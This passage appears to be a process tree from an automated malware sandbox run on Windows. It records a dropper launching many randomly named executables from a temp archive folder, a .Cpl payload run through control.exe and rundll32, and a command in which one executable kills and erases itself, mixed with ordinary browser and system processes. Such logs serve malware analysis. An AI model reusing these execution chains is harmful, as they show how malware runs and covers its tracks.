C:\Users\Admin\AppData\Local\09c7e706-524a-49e4-aa11-1bdea5085982.bin"C:\Users\Admin\AppData\Local\09c7e706-524a-49e4-aa11-1bdea5085982.bin"6⤵PID:4864
-
C:\Users\Admin\AppData\Roaming\2602437.exe"C:\Users\Admin\AppData\Roaming\2602437.exe"7⤵PID:3952
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:6912
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵PID:7356
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",10⤵PID:10088
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",11⤵PID:10208
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed058c44b0ac82ee.exe4⤵PID:4784
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed058c44b0ac82ee.exeWed058c44b0ac82ee.exe5⤵PID:7044
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:6364
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵PID:1844
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:3756
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵PID:5504
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05417d1201d2.exe4⤵PID:428
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05df191dfbc60c.exe4⤵PID:4720
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05df191dfbc60c.exeWed05df191dfbc60c.exe5⤵PID:1532
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed055a1be90d5891f6c.exe4⤵PID:5244
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed052811efdc9e3.exe4⤵PID:4968
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05c6b77f55.exe /mixtwo4⤵PID:3400
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05c6b77f55.exeWed05c6b77f55.exe /mixtwo5⤵PID:6984
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05c6b77f55.exeWed05c6b77f55.exe /mixtwo6⤵PID:7084
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Wed05c6b77f55.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05c6b77f55.exe" & exit7⤵PID:4248
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Wed05c6b77f55.exe" /f8⤵
- Kills process with taskkill
PID:4980
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05ae32a364b2c31.exe4⤵PID:4648
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05ae32a364b2c31.exeWed05ae32a364b2c31.exe5⤵PID:200
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed051a48c11a13fad7b.exe4⤵PID:5756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05179e74f5f0502.exe4⤵PID:3656
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed055ca3ac1ad3.exe4⤵PID:4872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05110b84295dc.exe4⤵PID:5128
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵PID:6336
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8943c4f50,0x7ff8943c4f60,0x7ff8943c4f702⤵PID:5252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2324 /prefetch:82⤵PID:4180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2632 /prefetch:12⤵PID:832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:12⤵PID:6132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1668 /prefetch:82⤵PID:5896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1612 /prefetch:22⤵PID:4160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:12⤵PID:5400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:12⤵PID:768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3860 /prefetch:12⤵PID:3972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4868 /prefetch:82⤵PID:6724
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4740 /prefetch:82⤵PID:2220
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4552 /prefetch:82⤵PID:7156
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5000 /prefetch:82⤵PID:6312
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,18005701613719104025,17961888352076538681,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3484 /prefetch:82⤵PID:4368
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2b01⤵PID:3772
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵PID:1900
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\9392d3104b6d45beb26b22268758f8b3 /t 3952 /p 63361⤵PID:4620
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\91bf5dc49ded4150a88381e297452460 /t 2708 /p 24201⤵PID:5276
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x7c,0x80,0xd0,0x8,0xf4,0x7ff8943c4f50,0x7ff8943c4f60,0x7ff8943c4f702⤵PID:6692
-
-
C:\Windows\explorer.exeexplorer.exe1⤵PID:6780
-
C:\Users\Admin\AppData\Local\Temp\FDA7.exeC:\Users\Admin\AppData\Local\Temp\FDA7.exe2⤵PID:5676
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8656
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8992
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9880
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\dadca8112a1c483bb06b2e0ce229a98c /t 8476 /p 98801⤵PID:6888
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9460
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:10500
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0CF2B894E1EA259BA7EA862029D80589 C2⤵PID:10588
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CB2F3498497EC8381ED2716CC2229971 C2⤵PID:5096
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6E55B2562C83CE406C62109270AADC712⤵PID:4824
-
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\fa4319223ba243c389f2e8c430c9c037 /t 1740 /p 94601⤵PID:10860
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:11188
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:3844
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\f9b587fbc66f4fae84a2c743d442cf21 /t 7120 /p 38441⤵PID:7620
-
C:\Windows\system32\WerFault.exe"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20211211-0353.dm1⤵PID:9556
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9868
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\7a77274428ea4c86a90902e70930509c /t 5676 /p 98681⤵PID:9300
-
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca1⤵PID:9260
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6888
-
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca1⤵PID:8076
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8328